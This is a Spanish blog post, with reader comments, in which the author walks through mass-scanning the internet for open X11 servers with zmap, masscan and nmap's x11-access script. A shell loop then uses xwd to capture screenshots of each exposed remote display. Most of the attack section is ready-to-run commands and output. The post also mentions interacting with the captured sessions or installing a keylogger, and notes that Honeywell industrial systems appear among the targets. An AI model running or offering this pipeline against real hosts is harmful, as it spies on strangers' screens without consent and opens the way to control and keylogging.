Mucho ha llovido desde que en 2011 nació shodab, mi pequeño juguete que almacena información del direccionamiento IP de España. Ahora, analizar todo Internet es cosa de niños y hay muchas y mejores herramientas que facilitan y optimizan esta tarea.
Cuando leí sobre la iniciativa de screenshot all the things decidí integrarla en mi base de datos, pero además de usar VNC, añadiendo algo más; servidores X11 abiertos. Un giro de tuerca más a lo que publicó en su momento @Viss.
Sirva esta entrada como ejemplo de uso de algunas herramientas y del típico jiji-jaja que tanto nos gusta en el mundo de la seguridad. Además, tal y como dice Robert Graham en su charla de Defcon:
It’ll make you famous
– Pick a target, like a Siemens control system
– Scan the Internet for it
– Do a BlackHattalk
– Get in the news
.. Aunque creo que esta parte se la dejaré a alguno de nuestros lectores ;-)
It’ll make you famous
– Pick a target, like a Siemens control system
– Scan the Internet for it
– Do a BlackHattalk
– Get in the news
.. Aunque creo que esta parte se la dejaré a alguno de nuestros lectores ;-)
Lo primero es identificar servidores X11 accesibles desde Internet, para ello se puede usar cualquier herramienta para analizar puertos, aunque las optimizadas para este propósito son: zmap y masscan. Pongo un ejemplo de cada una de ellas.
La siguiente ejecución lanzará zmap limitando el ancho de banda y a un número de 100.000.000 de direcciones IP distintas. Por tener una aproximación; de mi análisis 62.000 IPs tenían el puerto abierto. El resultado de esta ejecución se almacenará en un fichero CSV que tan solo contiene un listado con las direcciones IP que tienen el puerto abierto.
[root@el8 ~]# zmap --bandwidth=30M --target-port=6000 --max-targets=100000000 --output-file=results.csv Aug 24 11:18:22.618 [INFO] zmap: output module: csv 0:00 0%; send: 0 0 p/s (0 p/s avg); recv: 0 0 p/s (0 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.00% 0:01 0%; send: 23037 23.0 Kp/s (22.7 Kp/s avg); recv: 8 7 p/s (7 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.03% 0:02 0%; send: 58624 34.0 Kp/s (28.4 Kp/s avg); recv: 29 20 p/s (14 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.05% 0:03 0%; send: 88526 29.9 Kp/s (28.9 Kp/s avg); recv: 48 18 p/s (15 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.05%
La misma ejecución con masscan. En este caso se excluyen algunos rangos, como direccionamiento IP reservado y se almacena la salida en formato "grepeable", que es el mismo formato que el de Nmap "grepeable".
En este caso, como no quería analizar todo Internet al cabo de un rato acabé pulsando ^C para abortar la ejecución y obtener los resultados.
En este caso, como no quería analizar todo Internet al cabo de un rato acabé pulsando ^C para abortar la ejecución y obtener los resultados.
[root@el8 ~]# masscan -p6000 -oG 6000.grep 0.0.0.0/0 --excludefile ../data/exclude.conf -v ../data/exclude.conf: excluding 122 ranges from file resume: empty parameter initializing adapter eth0: type=0x 1 pcap: libpcap version 1.4.0 pcap:'eth0': successfully opened rawsock: looking for default gateway adapter initialization done. Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2014-08-24 10:06:44 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 3969790205 hosts [1 port/host] recv: start receive thread #0, 0:00:00 remaining, found=0 begin receive thread xmit: starting transmit thread #0 maxrate = 100.00
Y saqué del grepeable de masscan un listado de IPs simple como el de zmap:
[root@el8 ~]# cat 6000.grep|awk '{ print $2}'|grep -Ev 'Mass|Ports'>6000-open.txt
Con el listado de direcciones IP hay que averiguar cuáles de ellas tienen permitido el acceso, ya que X11 en todas las distribuciones linux y sistemas unix que conozco su acceso remoto está bloqueado por defecto. Para esta tarea una buena opción es usar nmap y el script "x11-access".
[root@el8 ~]# nmap -v -Pn -n -p6000 --script=x11-access -v --open -iL 6000-open.txt-oA accessgranted Starting Nmap 6.47 ( http://nmap.org ) at 2014-08-24 07:29 EDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 1) scan. Initiating SYN Stealth Scan at 07:29 Scanning 301 hosts [1 port/host] Discovered open port 6000/tcp on xx.xx.247.49 Discovered open port 6000/tcp on xx.xx.23.9 Discovered open port 6000/tcp on xx.xx.199.130 Nmap scan report for xx.xx.23.9 Host is up (1.8s latency). PORT STATE SERVICE 6000/tcp open X11 |_x11-access: X server access is granted
La salida del nmap guardará en todos los formatos (-oA) con nombre "accessgranted" los resultados. De ahí solo interesan aquellos que la salida del script sea "server access is granted" como en el ejemplo del cuadro superior. De ese resultado, a esas IPs se les podrá hacer un screenshots o incluso interactuar con las aplicaciones, poner un keylogger, etc...
De las 62.000 IPs con el servidor X11, se reducen a unas decenas vulnerables.
[root@el8 ~]# grep -B4 granted accessgranted.nmap|grep scan|awk '{ print $5}'> IPshot.csv
El pantallazo se puede hacer de muchas formas, con "import" de ImageMagick, con la herramienta "shutter", pero yo decidí utilizar "xwd" que viene en el paquete "x11-apps" y convertirla a png con "convert", también de ImageMagick.
[root@el8 ~]# for ip in `cat IPshot.csv`; do echo $ip timeout 180 xwd -root -display $ip:0 | convert xwd:- /tmp/screen-$ip.png done
En el bucle anterior metí un timeout porque en ocasiones tardaba demasiado en traer la información o dar error. De esta forma aseguro que el bucle no es infinito y termina en un periodo razonable de tiempo.
Y aquí solo algunos ejemplos de lo capturado (click para ampliar). Me llamó la atención el elevado número de veces que aparece "honeywell", parece que por defecto estos sistemas son vulnerables. También hay muchas pantallas en negro (que no están ejecutando nada) y que me ahorro poner.
5 comments :
Interesante la captura del DSLAM xD
Asociando este tema con el de hacking ético... ¿Que tan legal es el escaneo en masa para buscar los servicios de X11 o VNC abiertos?
Hablando en ambos casos, suponiendo que no se realice el ingreso y suponiendo que si se realiza para comprobar si no esta protegido de alguna forma (con clave en el caso de VNC)
Una duda que me ha surgido: ¿cómo de legal es usar zmap o masscan? Si lo uso en mi conexión ADSL, ¿mosquearé a mi ISP? Si lo uso en un servidor privado, ¿mosquearé al hoster?
Muy interesante el artículo, pero usar for para leer un archivo es una mala practica y fallará si hay más de un dato por línea (usa while).
honeywell me suena a honeypot, que son servidores que ponen como antiguamente se ponian los tarros de miel para atraer osos
Publicar un comentario